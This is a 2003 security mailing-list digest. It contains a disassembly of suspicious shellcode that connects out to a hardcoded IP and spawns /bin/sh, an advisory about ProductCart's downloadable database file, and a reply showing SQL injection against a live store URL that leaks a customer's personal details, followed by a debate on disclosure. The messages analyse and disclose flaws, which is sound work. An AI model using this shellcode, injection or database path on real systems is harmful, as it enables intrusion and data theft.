> file.  Sorry for not commenting this, but I don't speak linux asm; however I
> can see a whole bunch of syscalls going on in there; the values in eax 
> should tell you whether anything nastier than a few mkdirs was done to 
> you...
> 
> Z:\sploits-misc\targzip>objdump -D --target=binary
> hello-world2.bin --architectu
> re=i386
> 
> hello-world2.bin:     file format binary
> 
> objdump: hello-world2.bin: no symbols
> Disassembly of section .data:
> 
> 00000000 <.data>:
>    0:   90                      nop
>    1:   90                      nop
>    2:   90                      nop
>    3:   90                      nop
>    4:   90                      nop
>    5:   90                      nop
>    6:   90                      nop
>    7:   90                      nop
>    8:   90                      nop
>    9:   31 c0                   xor    %eax,%eax
>    b:   31 db                   xor    %ebx,%ebx
>    d:   31 c9                   xor    %ecx,%ecx
>    f:   51                      push   %ecx
>   10:   b1 06                   mov    $0x6,%cl
>   12:   51                      push   %ecx
>   13:   b1 01                   mov    $0x1,%cl
>   15:   51                      push   %ecx
>   16:   b1 02                   mov    $0x2,%cl
>   18:   51                      push   %ecx
>   19:   89 e1                   mov    %esp,%ecx
>   1b:   b3 01                   mov    $0x1,%bl
>   1d:   b0 66                   mov    $0x66,%al
>   1f:   cd 80                   int    $0x80
>   21:   89 c2                   mov    %eax,%edx
>   23:   31 c0                   xor    %eax,%eax
>   25:   31 c9                   xor    %ecx,%ecx
>   27:   51                      push   %ecx
>   28:   51                      push   %ecx
>   29:   68 d4 62 f7 cc          push   $0xccf762d4
>   2e:   66 68 b0 ef             pushw  $0xefb0
>   32:   b1 02                   mov    $0x2,%cl
>   34:   66 51                   push   %cx
>   36:   89 e7                   mov    %esp,%edi
>   38:   b3 10                   mov    $0x10,%bl
>   3a:   53                      push   %ebx
>   3b:   57                      push   %edi
>   3c:   52                      push   %edx
>   3d:   89 e1                   mov    %esp,%ecx
>   3f:   b3 03                   mov    $0x3,%bl
>   41:   b0 66                   mov    $0x66,%al
>   43:   cd 80                   int    $0x80
>   45:   31 c9                   xor    %ecx,%ecx
>   47:   39 c1                   cmp    %eax,%ecx
>   49:   74 06                   je     0x51
>   4b:   31 c0                   xor    %eax,%eax
>   4d:   b0 01                   mov    $0x1,%al
>   4f:   cd 80                   int    $0x80
>   51:   31 c0                   xor    %eax,%eax
>   53:   b0 3f                   mov    $0x3f,%al
>   55:   89 d3                   mov    %edx,%ebx
>   57:   cd 80                   int    $0x80
>   59:   31 c0                   xor    %eax,%eax
>   5b:   b0 3f                   mov    $0x3f,%al
>   5d:   89 d3                   mov    %edx,%ebx
>   5f:   b1 01                   mov    $0x1,%cl
>   61:   cd 80                   int    $0x80
>   63:   31 c0                   xor    %eax,%eax
>   65:   b0 3f                   mov    $0x3f,%al
>   67:   89 d3                   mov    %edx,%ebx
>   69:   b1 02                   mov    $0x2,%cl
>   6b:   cd 80                   int    $0x80
>   6d:   31 c0                   xor    %eax,%eax
>   6f:   31 d2                   xor    %edx,%edx
>   71:   50                      push   %eax
>   72:   68 6e 2f 73 68          push   $0x68732f6e
>   77:   68 2f 2f 62 69          push   $0x69622f2f
>   7c:   89 e3                   mov    %esp,%ebx
>   7e:   50                      push   %eax
>   7f:   53                      push   %ebx
>   80:   89 e1                   mov    %esp,%ecx
>   82:   b0 0b                   mov    $0xb,%al
>   84:   cd 80                   int    $0x80
>   86:   31 c0                   xor    %eax,%eax
>   88:   b0 01                   mov    $0x1,%al
>   8a:   cd 80                   int    $0x80
>   8c:   0d                      .byte 0xd
>   8d:   0a                      .byte 0xa
> 
> 
> 
>         DaveK
> 
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> 
> Message: 8
> Date: Sun, 6 Jul 2003 11:07:22 -0400 (EDT)
> From: "Larry W. Cashdollar" <lwc@...id.ath.cx>
> To: <full-disclosure@...ts.netsys.com>
> Subject: Re: [Full-Disclosure] [Vulnerability] : ProductCart database file
>  can be downloaded remotely
> 
> 
> 
> 949 is a legit zip code in cali.
> 
> 
> On Sat, 5 Jul 2003, KF wrote:
> 
> > Was that legit California data? I am sure than making someone have a
> > nice weekend you just made multiple someones have a shitty month ahead
> > of them...
> > http://www.theregister.co.uk/content/55/31509.html
> >
> > -KF
> >
> > gyrniff wrote:
> >
> > >URL:
> > >http://www.earlyimpact.com/productcart/build_to_order/productcart/pcadmin/Orddetails.asp?id=239
> > >Change the name Paul to Paul'
> > >
> > >Microsoft OLE DB Provider for ODBC Drivers
> > > error '80040e14'
> > >[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in
> > >query expression ''Paul'',lastName='Smith',customerCompany='Early Impact',
> > >address='3226 Colorado Ave', city='Santa Monica', zip='90004',
> > >stateCode='CA', CountryCode='US', phone='949 452 0062' WHERE idCustomer=115'.
> > >/productcart/build_to_order/productcart/pcadmin/processOrder.asp, line 36
> > >
> > >have a nice weekend ;-)
> > >
> > >On Saturday 05 July 2003 22:07, Tri Huynh wrote:
> > >
> > >
> > >>ProductCart database file can be downloaded remotely
> > >>=================================================
> > >>
> > >>PROGRAM: ProductCart
> > >>HOMEPAGE: http://www.earlyimpact.com/productcart/
> > >>VULNERABLE VERSIONS: 1.0 to 2.0
> > >>RISK: High
> > >>
> > >>
> > >>DESCRIPTION
> > >>=================================================
> > >>
> > >>ProductCart? is an ASP shopping cart that combines sophisticated
> > >>ecommerce features with time-saving store management tools and remarkable
> > >>ease of use. It is widely used by many e-commerce sites.
> > >>
> > >>DETAILS
> > >>=================================================
> > >>
> > >>In the default installation, product cart database file is located at
> > >>/productcart/database/EIPC.mdb which can be accessed easily
> > >>by any remote attackers.
> > >>
> > >>Sample: http://victimhost/productcart/database/EIPC.mdb
> > >>
> > >>The database file includes the store administration password as well as
> > >>customer's info (including credit card info).
> > >>
> > >>
> > >> WORKAROUND
> > >>=================================================
> > >>
> > >>Rename the database file, put it in a protected directory.
> > >>
> > >>
> > >>CREDITS
> > >>=================================================
> > >>
> > >>Discovered by Tri Huynh from Sentry Union
> > >>
> > >>
> > >>DISLAIMER
> > >>=================================================
> > >>
> > >>The information within this paper may change without notice. Use of
> > >>this information constitutes acceptance for use in an AS IS condition.
> > >>There are NO warranties with regard to this information. In no event
> > >>shall the author be liable for any damages whatsoever arising out of
> > >>or in connection with the use or spread of this information. Any use
> > >>of this information is at the user's own risk.
> > >>
> > >>
> > >>FEEDBACK
> > >>=================================================
> > >>
> > >>Please send suggestions, updates, and comments to: trihuynh@...up.com
> > >>
> > >>
> > >
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> > >
> > >
> > >
> >
> >
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> Message: 9
> From: "Kristian Hermansen" <this_is_kris@...mail.com>
> To: <full-disclosure@...ts.netsys.com>
> Subject: Re: [Full-Disclosure] Microsoft Cries Wolf ( again )
> Date: Tue, 1 Jul 2003 22:49:59 -0400
> 
> Yes, programmers should be trained to write better code...but it is more
> profitiable to allow sloppy code and a simple fix later (behind the scenes
> with vendor notification).  This is MS point-of-view.  This is why they want
> vendor notification, rather than public notification.  Again, I say let the
> 0-days fly.
> 
> Did you know that certain US government agencies have teams that their only
> job is to break software?  This has been going on since the 1970's.  It
> helps to produce secure code in mission critical applications that the
> military needs.  I am not saying that MS needs to be SO drastic...but a
> small team for their MOST popular products would sure be wise to start with.
> Why not hire fucking intern teenagers from russia to "Crash Test" their
> development projects (facetious)?  Would it be so difficult/expensive to
> hire some of the main companies that are breaking your software???
> 
> Kris Hermansen
> 
> ----- Original Message ----- 
> From: "Schmehl, Paul L" <pauls@...allas.edu>
> To: <full-disclosure@...ts.netsys.com>
> Sent: Tuesday, July 01, 2003 6:58 PM
> Subject: RE: [Full-Disclosure] Microsoft Cries Wolf ( again )
> 
> 
> > > -----Original Message-----
> > > From: Kristian Hermansen [mailto:this_is_kris@...mail.com]
> > > Sent: Tuesday, July 01, 2003 3:09 PM
> > > To: full-disclosure@...ts.netsys.com
> > > Subject: Re: [Full-Disclosure] Microsoft Cries Wolf ( again )
> > >
> > >
> > > I agree.  It is not our problem.  The reason is this.
> > > Microsoft would like to reduce costs.  Fixing bugs in
> > > products costs money, and 0-day bugs need immediate fixes
> > > which slow down MS total output ability.  They would like to
> > > see everyone reporting to the vendor first because this saves
> > > them money!!! In this respect, this also allows them to go on
> > > writing sloppy code in order to save a few bucks on every
> > > product, thus reducing their overhead.  I don't want sloppy
> > > code.  Let the 0-days fly....maybe MS will start doing
> > > extensive testing to their products before they release it
> > > for sale to millions of customers.  I thought .NET was
> > > supposed to fix all this  ;-P
> >
> > That's too funny.  Microsoft ran a "buffer overflow finder" against the
> > codebase for XP, and the VP in charge announced publicly that they had
> > "eliminated buffer overflows in XP".  Within thirty days, eEye announced
> > the UPnP vulnerability in SSDP, which is the single most devastating
> > hole ever found in MS products.  (You can compromise an entire network
> > of XP machines with one attack, simultaneously.)
> >
> > You don't fix code by extensive testing.  You fix it by teaching how to
> > write secure code to begin with *and* by ongoing, consistent audits done
> > before code is released.  (OpenBSD has been doing this for years, and
> > look at the results.)
> >
> > Paul Schmehl (pauls@...allas.edu)
> > Adjunct Information Security Officer
> > The University of Texas at Dallas
> > AVIEN Founding Member
> > http://www.utdallas.edu/~pauls/
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